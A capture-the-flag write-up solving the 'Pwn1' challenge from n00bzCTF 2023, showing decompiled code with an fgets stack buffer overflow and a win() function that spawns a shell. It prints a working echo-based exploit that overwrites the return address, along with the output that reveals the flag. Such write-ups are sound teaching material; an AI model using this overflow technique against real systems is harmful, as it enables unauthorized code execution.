Pwn1

by sunbather / .hidden

Tags: pwntools pwn

Rating: 4.0

Description of the challenge

Welcome to the series of 3 pwn challenges!

Author: NoobMaster

Solution

We open the binary in Ghidra and instantly notice the buffer overflow on `fgets`. It reads 0x50 (80) bytes into a 64 bytes buffer. Given the name of the local variable `local_48`, it means we have 0x48 bytes until the return address. So, we have 8 bytes of the return address to work with.

```
void main(EVP_PKEY_CTX *param_1)
{
  char local_48 [64];

  init(param_1);
  puts("Would you like a flag?");
  fgets(local_48,0x50,stdin);
  system("cat fake_flag.txt");
  return;
}
```

Running `checksec` on the binary shows that it lacks a stack canary and is not a PIE. Another interesting function in Ghidra is `win`, which calls `system("/bin/sh")`. This is simply an introductory buffer overflow.

```
void win(void)
{
  system("/bin/sh");
  return;
}
```

Collect the address for `win`: `0x0040124a`

Use the address to create the exploit:

```
$ python3 -c 'print("a" * 0x48)'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ echo -ne 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x4a\x12\x40\x00\x0
0\x00\x00\x00' | ./pwn1
Would you like a flag?
n00bz{fake_flag}
Segmentation fault (core dumped)
```

Initially this seems like it doesn't work, but I think it's just because it doesn't properly redirect the streams. So let's add a command at the end of the output, the shell we open will receive it and execute it before closing.

```
$ echo -ne 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x4a\x12\x40\x00\x0
0\x00\x00\x00cat flag.txt' | ./pwn1
Would you like a flag?
n00bz{fake_flag}
n00bz{I_like_.hidden}
Segmentation fault (core dumped)
```

Success! We can see the "real" flag printed! Trust me, that's exactly what the flag was.

Original writeup (https://dothidden.xyz/n00bzctf_2023/pwn1/).

Comments